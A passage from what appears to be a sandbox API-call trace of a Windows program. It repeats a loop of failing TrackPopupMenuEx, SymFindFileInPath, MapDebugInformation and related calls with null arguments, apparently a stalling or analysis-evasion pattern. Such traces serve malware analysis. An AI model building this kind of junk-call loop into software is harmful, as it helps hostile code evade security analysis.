lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.054] GetLastError () returned 0x579 [0216.054] SetLastError (dwErrCode=0x579) [0216.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.054] SymCleanup (hProcess=0x0) returned 0 [0216.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.054] GetLastError () returned 0x579 [0216.054] SetLastError (dwErrCode=0x579) [0216.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.054] SymCleanup (hProcess=0x0) returned 0 [0216.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.055] GetLastError () returned 0x579 [0216.055] SetLastError (dwErrCode=0x579) [0216.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.055] SymCleanup (hProcess=0x0) returned 0 [0216.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.055] GetLastError () returned 0x579 [0216.055] SetLastError (dwErrCode=0x579) [0216.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.055] SymCleanup (hProcess=0x0) returned 0 [0216.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=683, param_4=661, param_5=0x0, param_6=0x0) returned 0 [0216.055] GetLastError () returned 0x579 [0216.055] SetLastError (dwErrCode=0x579) [0216.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.055] SymCleanup (hProcess=0x0) returned 0 [0216.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.055] GetLastError () returned 0x579 [0216.056] SetLastError (dwErrCode=0x579) [0216.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.056] SymCleanup (hProcess=0x0) returned 0 [0216.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.056] GetLastError () returned 0x579 [0216.056] SetLastError (dwErrCode=0x579) [0216.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.056] SymCleanup (hProcess=0x0) returned 0 [0216.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.056] GetLastError () returned 0x579 [0216.056] SetLastError (dwErrCode=0x579) [0216.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.056] SymCleanup (hProcess=0x0) returned 0 [0216.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.057] GetLastError () returned 0x579 [0216.057] SetLastError (dwErrCode=0x579) [0216.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.057] SymCleanup (hProcess=0x0) returned 0 [0216.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1175, param_4=898, param_5=0x0, param_6=0x0) returned 0 [0216.057] GetLastError () returned 0x579 [0216.057] SetLastError (dwErrCode=0x579) [0216.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.057] SymCleanup (hProcess=0x0) returned 0 [0216.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.057] GetLastError () returned 0x579 [0216.057] SetLastError (dwErrCode=0x579) [0216.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.057] SymCleanup (hProcess=0x0) returned 0 [0216.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.058] GetLastError () returned 0x579 [0216.058] SetLastError (dwErrCode=0x579) [0216.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.058] SymCleanup (hProcess=0x0) returned 0 [0216.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.058] GetLastError () returned 0x579 [0216.058] SetLastError (dwErrCode=0x579) [0216.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.058] SymCleanup (hProcess=0x0) returned 0 [0216.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.058] GetLastError () returned 0x579 [0216.058] SetLastError (dwErrCode=0x579) [0216.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.058] SymCleanup (hProcess=0x0) returned 0 [0216.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=236, param_4=467, param_5=0x0, param_6=0x0) returned 0 [0216.059] GetLastError () returned 0x579 [0216.059] SetLastError (dwErrCode=0x579) [0216.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.059] SymCleanup (hProcess=0x0) returned 0 [0216.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.059] GetLastError () returned 0x579 [0216.059] SetLastError (dwErrCode=0x579) [0216.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.059] SymCleanup (hProcess=0x0) returned 0 [0216.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.059] GetLastError () returned 0x579 [0216.059] SetLastError (dwErrCode=0x579) [0216.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.059] SymCleanup (hProcess=0x0) returned 0 [0216.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.060] GetLastError () returned 0x579 [0216.060] SetLastError (dwErrCode=0x579) [0216.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.060] SymCleanup (hProcess=0x0) returned 0 [0216.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.060] GetLastError () returned 0x579 [0216.060] SetLastError (dwErrCode=0x579) [0216.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.060] SymCleanup (hProcess=0x0) returned 0 [0216.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=511, param_4=749, param_5=0x0, param_6=0x0) returned 0 [0216.060] GetLastError () returned 0x579 [0216.060] SetLastError (dwErrCode=0x579) [0216.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.060] SymCleanup (hProcess=0x0) returned 0 [0216.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.061] GetLastError () returned 0x579 [0216.061] SetLastError (dwErrCode=0x579) [0216.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.061] SymCleanup (hProcess=0x0) returned 0 [0216.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.061] GetLastError () returned 0x579 [0216.061] SetLastError (dwErrCode=0x579) [0216.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.061] SymCleanup (hProcess=0x0) returned 0 [0216.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.061] GetLastError () returned 0x579 [0216.061] SetLastError (dwErrCode=0x579) [0216.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.061] SymCleanup (hProcess=0x0) returned 0 [0216.061] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.061] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.061] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.061] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.062] GetLastError () returned 0x579 [0216.062] SetLastError (dwErrCode=0x579) [0216.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.062] SymCleanup (hProcess=0x0) returned 0 [0216.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1171, param_4=754, param_5=0x0, param_6=0x0) returned 0 [0216.062] GetLastError () returned 0x579 [0216.062] SetLastError (dwErrCode=0x579) [0216.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.062] SymCleanup (hProcess=0x0) returned 0 [0216.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.062] GetLastError () returned 0x579 [0216.062] SetLastError (dwErrCode=0x579) [0216.062] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.062] SymCleanup (hProcess=0x0) returned 0 [0216.062] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.062] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.062] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.062] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.063] GetLastError () returned 0x579 [0216.063] SetLastError (dwErrCode=0x579) [0216.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.063] SymCleanup (hProcess=0x0) returned 0 [0216.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.063] GetLastError () returned 0x579 [0216.063] SetLastError (dwErrCode=0x579) [0216.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.063] SymCleanup (hProcess=0x0) returned 0 [0216.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.063] GetLastError () returned 0x579 [0216.063] SetLastError (dwErrCode=0x579) [0216.063] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.063] SymCleanup (hProcess=0x0) returned 0 [0216.063] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.063] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.063] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.063] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=894, param_4=178, param_5=0x0, param_6=0x0) returned 0 [0216.063] GetLastError () returned 0x579 [0216.064] SetLastError (dwErrCode=0x579) [0216.064] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.064] SymCleanup (hProcess=0x0) returned 0 [0216.064] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.064] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.064] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.064] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.064] GetLastError () returned 0x579 [0216.064] SetLastError (dwErrCode=0x579) [0216.064] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.064] SymCleanup (hProcess=0x0) returned 0 [0216.064] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.064] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.064] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.064] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.064] GetLastError () returned 0x579 [0216.064] SetLastError (dwErrCode=0x579) [0216.064] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.064] SymCleanup (hProcess=0x0) returned 0 [0216.064] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.064] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.064] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.064] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.065] GetLastError () returned 0x579 [0216.065] SetLastError (dwErrCode=0x579) [0216.065] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.065] SymCleanup (hProcess=0x0) returned 0 [0216.065] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.065] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.065] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.065] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.065] GetLastError () returned 0x579 [0216.065] SetLastError (dwErrCode=0x579) [0216.065] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.065] SymCleanup (hProcess=0x0) returned 0 [0216.065] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.065] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.065] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.065] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=990, param_4=249, param_5=0x0, param_6=0x0) returned 0 [0216.065] GetLastError () returned 0x579 [0216.065] SetLastError (dwErrCode=0x579) [0216.065] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.065] SymCleanup (hProcess=0x0) returned 0 [0216.065] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.065] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.065] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.065] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.065] GetLastError () returned 0x579 [0216.066] SetLastError (dwErrCode=0x579) [0216.066] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, 